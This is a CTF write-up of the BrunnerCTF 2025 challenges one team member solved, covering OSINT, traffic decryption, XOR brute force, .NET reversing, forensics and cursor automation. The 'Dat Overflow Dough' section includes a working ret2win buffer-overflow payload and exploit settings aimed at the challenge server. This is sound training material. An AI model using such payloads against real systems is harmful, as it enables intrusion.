Post

BrunnerCTF 2025 — Write-up

Walkthrough of the BrunnerCTF 2025 challenges I solved as part of team APISec Avengers

BrunnerCTF 2025 — Write-up

BrunnerCTF 2025 Write-up Overview

Author: AppleTree
Team: APISec Avengers
Placement: 94th of 1158 teams
Team Score: 3274 points
Scope: This post covers only the challenges I solved. Be sure to also take a look at the Honorable Mentions section for links to my teammates’ excellent write-ups.
Event Date: Fri 22 Aug 2025 12:00 UTC – Sun 24 Aug 2025 12:00 UTC
Platform: BrunnerCTF
Sponsors: Campfire Security · Bankdata · Cyberskills · Hetzner
Flag Format: brunner{.*}

✅ Completed Challenges Overview

Challenge NameCategoryPoints
Traditional CakeOSINT100
The Secret BrunsvigerShake & Bake50
Dat Overflow DoughShake & Bake50
Shaken, Not StirredShake & Bake50
TextopolisShake & Bake40
Digging For TreasureShake & Bake40
Insanity CheckShake & Bake30

🏆 Solved Challenges

OSINT

Challenge: Traditional Cake

Points: 100
Flag: brunner{inched.cases.entitle}
Description: A provided photo pointed to a landmark. Flag was the what3words code for the precise location.
Steps Taken:

  • Extracted the image and checked metadata with exiftool — no GPS.
  • Observed pavilion across reflective lake; European palace garden style.
  • Identified as the Apollotempel in Nymphenburg Palace Park.
  • Located exact lakeside vantage across from temple.
  • what3words lookup gave inched.cases.entitle.

Shake & Bake

Challenge: The Secret Brunsviger

Points: 50
Flag: brunner{S3cr3t_Brunzv1g3r_R3c1p3_Fr0m_Gr4ndm4s_C00kb00k}
Steps Taken:

  • Opened traffic.pcap in Wireshark, configured TLS with keys.log.
  • Followed decrypted HTTP stream — JSON contained base64 field.
  • Decoded base64 string with:
    1
    
      echo 'YnJ1bm5lcntTM2NyM3RfQnJ1bnp2aTNnM3JfUjNjMXAzX0ZyMG1fR3I0bmRtNHNfQzAwa2IwMGt9Aw30=' | base64 -d
    
  • Output revealed flag.

Challenge: Dat Overflow Dough

Points: 50
Flag: brunner{b1n4ry_eXpLoiTatioN_iS_CooL}
Steps Taken:

  • Reviewed binary — vulnerable gets() into 16-byte buffer.
  • Found secret_dough_recipe at 0x4011b6.
  • Calculated overflow offset: 24 bytes.
  • Local PoC payload:
    1
    2
    3
    4
    
      python3 - <<'PY' | ./recipe
      import struct, sys
      sys.stdout.buffer.write(b"A"*16 + b"B"*8 + struct.pack("<Q", 0x4011b6) + b"\n")
      PY
    
  • Updated exploit script with remote constants:
    1
    2
    3
    4
    5
    6
    7
    8
    
      RECIPE_BUFFER_SIZE = 16
      RBP_SIZE = 8
      SECRET_ADDRESS = 0x4011b6
      PROMPT = "Please enter the name of the recipe you want to retrieve:"
    
      USE_REMOTE = True
      REMOTE_HOST = "dat-overflow-dough-35b12ca665f7958e.challs.brunnerne.xyz"
      REMOTE_PORT = 443
    
  • Executed exploit, flag printed.

Challenge: Shaken, Not Stirred

Points: 50
Flag: brunner{th3_n4m3's_Brunn3r...J4m3s_Brunn3r}
Steps Taken:

  • encrypt.py showed single-byte XOR encryption.
  • Extracted ciphertext string.
  • Brute-forced all keys with script:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
      cipher_line = "wg`{{pgna}&J{!x&2fJWg`{{&g;;;_!x&fJWg`{{&gh".encode()
      for key in range(256):
          pt = bytes([b ^ key for b in cipher_line])
          try:
              s = pt.decode()
          except UnicodeDecodeError:
              continue
          if all(32 <= ord(ch) < 127 for ch in s) and "{" in s and "}" in s:
              print(key, s)
    
  • Key 21 revealed plaintext flag.

Challenge: Textopolis

Points: 40
Flag: brunner{🤑🤗😇😛☺♫☼♪♠♥♣♦☺🤔😏‼😎🤯🤠🥳😵🥱🤐🥵🥶👻}
Steps Taken:

  • Decompiled .NET executable with ILSpy.
  • Discovered checks:
    • Favorite emoji must be .
    • Passport = reversed sequence → ☺♫☼♪♠♥♣♦☺.
    • Name must include ⌂¿■, exclude certain characters.
  • Rebuilt flag with script:
    1
    2
    3
    4
    
      emoji_passport = ["","","","","","","","",""]
      emoji_passport.reverse()
      flag = f"brunner{{🤑🤗😇😛{''.join(emoji_passport)}🤔😏‼😎🤯🤠🥳😵🥱🤐🥵🥶👻}}"
      print(flag)
    

Challenge: Digging For Treasure

Points: 40
Flag: brunner{cu$t4rd_1z_k1ng}
Steps Taken:

  • Extracted .E01 forensic image.
  • Loaded into Autopsy and examined deleted files.
  • Found do_not_open_this.txt with password hint.
  • Used hint to unlock .7z archive:
    1
    
      7z x f0005288.7z -oextracted/secret/
    
  • Extracted flag.txt with solution.

Challenge: Insanity Check

Points: 30
Flag: brunner{y0u_d1d_1t!!!_n0w_try_t0_4ctu4lly_pl4y_th3_ctf}
Steps Taken:

  • Originally solved on Windows; redone on macOS with Quartz APIs.
  • Template/feature matching unreliable.
  • Switched to RGB color-based search.
  • Logger for pixel values:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    
      import time, numpy as np, mss
      from Quartz.CoreGraphics import CGEventCreate, CGEventGetLocation
    
      def mouse_xy():
          loc = CGEventGetLocation(CGEventCreate(None))
          return int(loc.x), int(loc.y)
    
      def pixel_rgb(sct, x, y):
          box = {"left": x, "top": y, "width": 1, "height": 1}
          px = np.array(sct.grab(box))
          b, g, r, _ = px[0,0]
          return int(r), int(g), int(b)
    
      with mss.mss() as sct:
          print("Hover anywhere; Ctrl+C to stop.")
          while True:
              x, y = mouse_xy()
              r, g, b = pixel_rgb(sct, x, y)
              print(f"\rRGB @ ({x},{y}) = ({r:3d},{g:3d},{b:3d})", end="")
              time.sleep(0.03)
    
  • Main solver using int32 color distance and Quartz cursor move:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    
      import time, numpy as np, mss
      from Quartz.CoreGraphics import (
          CGWarpMouseCursorPosition, CGEventCreateMouseEvent, CGEventPost,
          kCGEventMouseMoved, kCGMouseButtonLeft, kCGHIDEventTap,
      )
    
      TARGET_RGB = (64, 44, 36)
      SEARCH_REGION = (4, 139, 1672, 1042)
    
      def post_mouse_move_global(x,y):
          CGWarpMouseCursorPosition((x,y))
          CGEventPost(kCGHIDEventTap, CGEventCreateMouseEvent(None, kCGEventMouseMoved, (x,y), kCGMouseButtonLeft))
    
      with mss.mss() as sct:
          mon = {"left": SEARCH_REGION[0], "top": SEARCH_REGION[1], "width": SEARCH_REGION[2]-SEARCH_REGION[0], "height": SEARCH_REGION[3]-SEARCH_REGION[1]}
          while True:
              shot = np.array(sct.grab(mon))
              bgr  = shot[:, :, :3]
              B = bgr[:,:,0].astype(np.int32)
              G = bgr[:,:,1].astype(np.int32)
              R = bgr[:,:,2].astype(np.int32)
              dist2 = (R-TARGET_RGB[0])**2 + (G-TARGET_RGB[1])**2 + (B-TARGET_RGB[2])**2
              idx = int(np.argmin(dist2))
              by,bx = divmod(idx, bgr.shape[1])
              post_mouse_move_global(SEARCH_REGION[0]+bx, SEARCH_REGION[1]+by)
    
  • Cursor snapped rapidly to target, flag revealed.

📚 Lessons Learned

  • Precision matters in OSINT — landmarks and exact vantage points.
  • Forensics workflows benefit from Autopsy and deleted-file recovery.
  • Non-PIE + gets() is textbook ret2win exploitation.
  • Single-byte XOR crypto is trivial with brute force.
  • ILSpy is excellent for reversing beginner .NET challenges.
  • Color-based cursor automation outperformed template matching.
  • Consistent methodology across categories made challenges efficient to solve.

🙌 Honorable Mentions

Here are links to my teammates’ blogs where they’ve published write-ups for the challenges they solved:

Note: Will be updated once my teammates finish their write-ups. :)


Note: AI-assisted editing was used to improve grammar, clarity, and formatting. All technical content and opinions are original.

This post is licensed under CC BY 4.0 by the author.